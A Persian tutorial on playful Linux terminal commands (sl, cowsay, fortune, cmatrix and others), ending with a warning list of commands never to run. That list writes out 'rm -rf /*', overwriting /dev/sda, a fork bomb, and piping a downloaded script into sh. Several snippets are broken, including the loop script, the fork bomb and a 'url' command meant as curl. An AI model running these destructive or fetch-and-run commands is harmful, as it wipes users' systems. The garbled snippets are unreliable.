

دستورات جالب در لینوکس

ارائه دهنده: قوام الدین سلیمانی

دستور sl (لوکوموتیو بخار)

```
root@qavams:~# apt-get install sl      (In Debian like OS)
```

کد:

```
root@qavams:~# sl
```

دستور fortune

```
root@qavams:~# apt-get install fortune  (for aptitude based system)
```

کد:

```
root@qavams:~# fortune
```

دستور rev مخفف Reverse

کد:

```
root@qavams:~# rev
```

دستور factor

کد:

```
root@qavams:~# factor
```

script

```
root@qavams:~# for i in {1..12}; do for j in $(seq 1 $i); do echo -ne $i$—$j=$(i*j))\\t;done;
echo;done
```

۱\$—1=1

۲\$—1=2 2\$—2=4

۳\$—1=3 3\$—2=6 3\$—3=9

۴\$—1=4 4\$—2=8 4\$—3=12 4\$—4=16

۵\$—1=5 5\$—2=10 5\$—3=15 5\$—4=20 5\$—5=25

۶\$—1=6 6\$—2=12 6\$—3=18 6\$—4=24 6\$—5=30 6\$—6=36

۷\$—1=7 7\$—2=14 7\$—3=21 7\$—4=28 7\$—5=35 7\$—6=42 7\$—7=49

۸\$—1=8 8\$—2=16 8\$—3=24 8\$—4=32 8\$—5=40 8\$—6=48 8\$—7=56 8\$—8=64

۹\$—1=9 9\$—2=18 9\$—3=27 9\$—4=36 9\$—5=45 9\$—6=54 9\$—7=63 9\$—8=72 9\$—9=81

۱۰\$—1=10 10\$—2=20 10\$—3=30 10\$—4=40 10\$—5=50 10\$—6=60 10\$—7=70 10\$—8=80 10\$—9=90 10\$—10=100

۱۱\$—1=11 11\$—2=22 11\$—3=33 11\$—4=44 11\$—5=55 11\$—6=66 11\$—7=77 11\$—8=88 11\$—9=99 11\$—10=110 11\$—11=121

۱۲\$—1=12 12\$—2=24 12\$—3=36 12\$—4=48 12\$—5=60 12\$—6=72

دستور Cowsay

```
root@qavams:~# apt-get install cowsay (for Debian based OS)
```

کد:

```
root@qavams:~# cowsay Hello World
```

چطوره دستور fortune توسط cowsay توصف شود؟

```
root@qavams:~# fortune | cowsay
```

"xcowsay" یک برنامه گرافیکی است که عملکردی مشابه با cowsay اما به شیوه گرافیکی دارد.

کد:

```
apt-get install xcowsay
```

کد:

```
root@qavams:~# xcowsay Hello World
```

دستور yes

```
root@qavams:~# yes Hello World
```

دستور cmatrix

```
root@qavams:~# apt-get install cmatrix
```

کد:

```
root@qavams:~# cmatrix
```

دستور: oneko

```
root@qavams:~# apt-get install oneko
```

کد:

```
root@qavams:~# oneko
```

دستور while

```
root@qavams:~# apt-get install toilet
```

کد:

```
root@qavams:~# while true; do echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done
```

or

```
root@qavams:~# while true; do clear; echo "$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done
```

دستور aafire

```
root@qavams:~# apt-get install libaa-bin
```

کد:

```
root@qavams:~# aafire
```

دستور url

استاتوس تویتر خود را از طریق خط فرمان آپدیت کنید کافی است به جای username, password و your status message موارد مربوط به خود را وارد کنید.

کد:

```
root@qavams:~# url -u YourUsername:YourPassword -d status="Your status message"  
http://twitter.com/statuses/update.xml
```

ASCIIfish

کد:

```
root@qavams:~# asciiquarium
```

دستوراتی که هیچگاه نباید در لینوکس استفاده کنید

نکات مهمی که همیشه باید در نظر داشته باشد:

۱. هرگز دستوری رو که نمی‌دونید چکار می‌کنه رو از جایی کپی و در ترمینال پیست نکنید.

۲. حواستون به دستوراتی که برای اجرا به دسترسی ریشه (root) نیاز دارن باشه.

برای اینکه ببینید دستوری چکار می‌کنه، چند راه وجود داره:

۱. از کسی که بهش اعتماد دارید بپرسید که آیا این دستور مشکلی پیش نمی‌اره؟

۲. معمولاً همه‌ی دستورات، یک راهنما دارند که با استفاده از کلمه man می‌تونید بهش دسترسی پیدا کنید و

توضیحات مربوط به کارکرد دستور و کاری که سوئیچ‌های مختلفش انجام می‌دن رو مطالعه کنید. مثلاً man

rm

۳. گاهی دستورات راهنما ندارند، در این صورت می‌تونید از سوئیچ‌های -h یا help- استفاده کنید. مثلاً - rm

help

چند مثال

اینجا چند تا مثال براتون آوردم که هیچوقت **نباید** استفاده کنیدشون. این فیلم‌ها روی ماشین مجازی گرفته شده تا نتیجه‌ی کار رو ببینید.

۱. یکی از معروف‌ترین این دستورات

```
sudo rm -rf /*
```

دستور rm برای پاک کردن فایل در گنو/لینوکس استفاده می‌شه.

-f, --force

ignore nonexistent files and arguments, never prompt

-r, -R, --recursive

remove directories and their contents recursively

۲. هیچوقت هیچ چیز رو به `/dev/sda` کپی نکنید.

```
sudo cp /dev/zero /dev/sda
```

۳. هنگام استفاده از دستور `dd` دقت کنید.

۴. فورک بمب

```
:O{ :|:& }::
```

۵. دستوراتی که اسکریپتی رو از اینترنت دانلود و اجرا می کنند!

```
wget http://an-untrusted-url -O- | sh
```